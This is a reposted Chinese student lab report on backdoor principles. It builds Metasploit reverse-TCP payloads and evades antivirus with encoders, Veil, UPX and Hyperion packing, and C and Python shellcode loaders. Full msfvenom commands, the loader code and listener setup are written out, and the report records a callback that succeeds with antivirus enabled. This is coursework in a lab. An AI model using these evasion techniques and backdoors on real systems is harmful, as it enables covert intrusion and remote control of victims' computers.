ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践

2020-03-27 18:59:37  阅读:255  来源: 互联网

标签:20175320 后门 exe 免杀 Exp3 生成 python 2020 使用


2019-2020-2 20175320 《网络对抗技术》Exp3 后门原理与实践

一、实验要求

了解metasploit、veil、加壳工具的使用方法,并利用以上软件实现后门程序与杀软之间的共存,并利用后门程序获取被攻击方的shell。

二、实验目标

  • 1、正确使用msf编码器
  • 2、msfvenom生成如jar之类的其他文件
  • 3、使用veil进行免杀处理
  • 4、使用upx加压缩壳,hyperion加加密壳
  • 5、使用C + shellcode编程进行免杀
  • 6、使用python + shellcode进行免杀(使用其他课堂未介绍方法)
  • 7、通过组合应用各种技术实现恶意代码免杀
  • 8、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三、实验过程

1.准备工作

(1)安装veil

  • sudo apt-get install veil命令安装veil,如果有问题可以尝试使用sudo apt-get updatesudo apt-get upgrade命令更新一下软件包。
  • 安装完成后使用veil命令打开veil,输入Y继续安装直到完成。期间可能会因为网络问题下载中断,并且需要手动确认部分软件的安装,这一准备工作需要较长的时间。

(2)hyperion加密壳应用
由于我的kali系统里没有hyperion的文件夹,因此我参考了同学的博客下载了hyperion2.2的压缩包,并生成了一个hyperion.exe可执行文件(压缩包下载以及可执行文件生成方式)。需要注意的是,链接中的压缩包需要使用2.2版本,且hyperion.exe文件需要在Hyperion-2.2这一目录下生成,并将需要添加加密壳的文件复制到Hyperion-2.2目录下再进行加密。

(3)配置python环境
在本次实验中我使用了python + shellcode这一课堂未介绍的免杀方式,而这一方法需要在x86系统中配置python2.7环境(python2.7下载链接),并配置python环境变量,即需要下载安装python2.7的包,并将python2.7的文件路径添加到系统环境变量path中。

2.正确使用msf编码器

在上一个实验中我们已经了解了metasploit的msfvenom指令,在本次实验中我们需要了解msf指令中与免杀相关的参数,并尝试不同参数的免杀效果。
(1)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3.exe命令生成后门程序,并使用virscan进行扫描。

  • -p设置payload
  • -e参数设置编码器
  • -i参数设置编码次数
  • -b去掉'\x00’
  • -f设置生成的文件的格式
  • '>'表示重定向,可以使用-o代替


从检测结果可以看出,免杀的效果并不好,有53%的杀软检测出了后门程序。

(2)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.219.134 LPORT=5320 -f exe > 5320shiyan3-i10.exe命令增加编码次数并生成后门程序,然后使用virscan进行扫描。

从检测结果可以看出,仍有53%的杀软检测出了后门程序,10次编码的结果与5次编码的结果相比没有区别。多次编码对免杀结果没有效果,主要有一下两点原因:

  • shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
  • msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

值得注意的是,我还尝试了使用msfvenom命令将后门程序与正常安装包进行捆绑,即通过-x参数与可执行文件进行绑定。而对绑定的文件进行5次和10次编码后,10次编码的后门程序的检出率要高于5次编码的后门程序的检出率,有些杀软在5次编码情况下检测不出后门,而在10次编码的情况下能够检测出后门,这提醒我不能盲目地增加编码次数。
编码5次的扫描结果:

编码10次的扫描结果:

3.msfvenom生成如jar之类的其他文件

3.1 msfvenom生成jar文件

(1)msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -f jar > 5320shiyan3.jar命令生成jar文件。

(2)将生成的文件放到virscan上进行扫描,扫描结果如下:

从扫描结果来看,杀软的检出率明显降低,只有32%的杀软检测了出来。

3.2 msfvenom生成python文件

(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py生成python文件。

(2)使用virscan进行扫描,检出率为0%。

虽然生成的python文件不会被杀软识别为恶意代码,但是我尝试运行该文件后发现无法与控制端进行连接。之后我通过查找资料了解到这里生成的python文件实际上是一片shellcode,需要后期将该文件修改后才能生成后门程序,而这里就是后面利用python + shellcode进行免杀的基础。

4.使用veil进行免杀处理

首先我们需要安装veil,安装过程我在前面的准备工作中介绍了,这里我就不再赘述了。veil可以使用其他语言将meterpreter重写,从而实现免杀,这里我使用了c语言进行了重写,具体操作过程如下:
(1)安装好veil后在命令行输入veil打开veil

(2)使用use evasion命令进入veil-evasion,这里我们能看见可以使用的命令。

(3)输入list命令查看可用的payload,这里我需要使用c/meterpreter/rev_tcp.py,于是输入use c/meterpreter/rev_tcp.py选择并进入配置界面。

(4)在配置界面中输入set LHOST 192.168.219.134set LPORT 5320设置ip和端口。

(5)使用generate命令生成exe文件。注意界面中显示的几行高亮的路径,有var的路径从上到下分别为可执行文件的位置、代码的位置以及可对metasploit进行配置的资源文件。

(6)将生成的文件复制到打开了杀软的被攻击主机,后门程序被杀软发现并删除了。

(7)暂时关闭杀软,再次将veil产生的后门程序复制到被攻击主机中,然后在kali中使用msfconsole -r + 资源文件路径命令对metasploit进行设置并开启监听,双击运行后门程序,metasploit获取会话连接。

(8)使用sessions -l命令查看所有会话,sessions -i 1选中第一个会话后便可以实现对被攻击方的控制。

这里我也尝试过使用ruby重写meterpreter,但生成的可执行文件同样出现了签名的问题,查了ocra和ruby方面的资料也没有将这一问题解决。

5.使用upx加压缩壳,hyperion加加密壳

5.1 upx压缩壳

加压缩壳的操作比较简便,kali中内置了upx,只需要使用命令upx 5320shiyan3veil.exe -o 5320veilupxed.exe即可生成加压缩壳后的文件。

5.2 hyperion加密壳

由于我的系统没有hyperion.exe所以还需要自己想办法生成,生成的方法我已经在准备工作中讲过了,这里就不再赘述。准备工作做好后,将需要加壳的文件复制到Hyperion-2.2这一文件目录下,然后进入Hyperion2.2这一目录,输入wine hyperion.exe -v 5320shiyan3veil.exe 5320veilhyped.exe命令进行加壳。

我将两种加壳后的文件先后复制到windows,发现压缩壳处理后的文件杀软没有反应,而加密壳处理后的文件却被杀软查杀了。

6.使用C + shellcode编程进行免杀

在这里我们使用metaploit生成shellcode,然后在windows环境下编写程序实现对shellcode的调用,最后将该程序的可执行文件复制到被攻击的主机中进行测试。具体过程如下:
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f c -o 5320cshellcode.c生成shellcode,并将shellcode保存在-o参数指向的文件中。

(2)将上面生成的c文件复制到主机中,使用codeblock打开并对文件中的代码进行修改,修改后的代码如下:

unsigned char buf[] =
"\xd9\xed\xd9\x74\x24\xf4\xba\x8a\x70\xfe...
"\xb3\x3f\xb5\xdd\xb0\x76\x42\x93";
/*shellcode*/

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

(3)修改后对c文件进行build,将生成的.exe文件复制到被攻击主机,复制之后杀软360并没有发现后门程序。

(4)使用virscan对可执行文件进行扫描,有14%的杀软扫描出来了,比前面的方法减少了许多。

(5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。

(6)控制端输入exploit开启监听,被攻击端点击运行5320cshellcode.exe,之后可以在控制端获取被攻击方的shell。

7.使用python + shellcode进行免杀(使用其他课堂未介绍方法)

这里我利用了上面使用msfvenom生成的python文件,在windows中使用ide进行修改后在x86系统中生成了可执行文件,然后复制到被攻击主机上进行运行,这里我参考了这篇博客Metasploit+python生成免杀exe过360杀毒,具体过程如下:
(1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.134 LPORT=5320 -e x86/shikata_ga_nai -i 11 -f py -o 5320shiyan3py2.py命令生成shellcode(前面已经生成了)。

(2)将上面生成的.py文件复制到主机中,使用ide打开并对文件中的代码进行修改,这里我使用的是pycharm,修改后的代码如下:

from ctypes import *
import ctypes

buf =  b""
buf+=b"\xbd\x91\x27\x33\xd1\xdb\xcf\xd9\x74\x24\xf4\x58\x2b"
...
buf+=b"\x46\xfe\x25\x6f\xba\x40\x67\x7c"
#shellcode

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4
...#(详细代码见博客链接)
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

(3)在windows上安装python的环境,下载支持将python生成exe的软件pyinstall,解压后在cmd中进入pyinstall的目录,将需要转化的python文件复制到pyinstall的文件夹后,执行python pyinstaller.py --console --onefile 5320shiyan3py2.py,在这里pyinstall不要有中文路径。

(4)在pyinstaller-2.0\5320shiyan3py2\dist目录下找到可执行文件,将该文件复制到被攻击主机上,被攻击主机杀软没有反应。

(5)控制端输入msfconsole进入metasploit,通过set payload windows/meterpreter/reverse_tcp设置payload,set LHOST 192.168.219.134设置ip,set LPORT 5320设置监听端口。

(6)控制端输入exploit开启监听,被攻击端点击运行5320shiyan3py2.exe,之后可以在控制端获取被攻击方的shell。

(7)使用virscan进行扫描,杀软的检出率为10%,比c + shellcode的效果要好。

8.通过组合应用各种技术实现恶意代码免杀

这里我使用了上面生成的5320shiyan3py2.exe,并对其分别进行了压缩壳以及加密壳处理,希望通过加壳进一步减少特征的符合度。

8.1 upx压缩壳+python shellcode

使用upx对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机杀软没有反应,virscan扫描结果显示10%的杀软检测出了后门程序。由此可见,对于这种不是捆绑正常软件的后门程序,压缩壳对免杀的作用不是很大。

8.2 hyperion加密壳+python shellcode

使用hyperion对之前半手工生成的基于python的可执行文件进行加壳,然后复制到被攻击主机并使用virscan进行扫描,在这一过程中,被攻击主机的杀软检测出了加壳后文件,而virscan的扫描结果显示有24%的杀软检测出了后门程序,复合处理后后门程序的隐蔽性降低了。

9.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在这里我在另一个win7虚拟机中安装了腾讯电脑管家,并将病毒库更新到了最新版本,然后将之前使用压缩壳处理后的基于python shellcode的可执行文件复制到了该虚拟机中,经过扫描测试杀软并不能识别该后门程序,且该后门程序可以正常回连,并获取了自身的进程号。


四、实验中遇到的问题

  • 问题一:安装veil的过程中显示wine没有安装
  • 问题一解决方法:sudo apt-get install wine32,然后重新安装veil。
  • 问题二:在/usr/share/windows-binaries/hyperion/目录下没有hyperion.exe文件
  • 问题二解决方法:自行下载并编译生成hyperion.exe,压缩包下载方式以及编译方法已经在准备工作中介绍了。

五、实验感想和思考

本次实验总的来说还是比较复杂的,不仅实验的环境需要花较多的时间进行配置,还要尝试不同的免杀方式,并对这些不同方法下生成的后门进行测试。在生成后门程序的时候推荐还是使用编码器进行适当次数的编码,这样可以减少被识别出来的概率。在对后门程序进行恰当的免杀处理后,绝大多数的杀软已经无法识别出后门程序,这在上一次实验的基础上更进了一步,也提醒了我们要注意后门程序的入侵,尽量不要通过非官方的途径获取所需的可执行文件。

思考:

  • (1)杀软是如何检测出恶意代码的?
    答:有基于特征码检测、启发式恶意软件检测、基于行为的恶意软件检测等方式。
  • (2)免杀是做什么?
    答:改变恶意软件的特征,使得杀软无法识别恶意软件。
  • (3)免杀的基本方法有哪些?
    答:通过使用编码器多次进行编码、重写meterpreter、加壳、半手动生成shellcode等方法,主要目的就是使得杀软无法通过特征码等方式识别出恶意软件。

六、参考资料

标签:20175320,后门,exe,免杀,Exp3,生成,python,2020,使用
来源: https://www.cnblogs.com/nameless-student/p/12582867.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有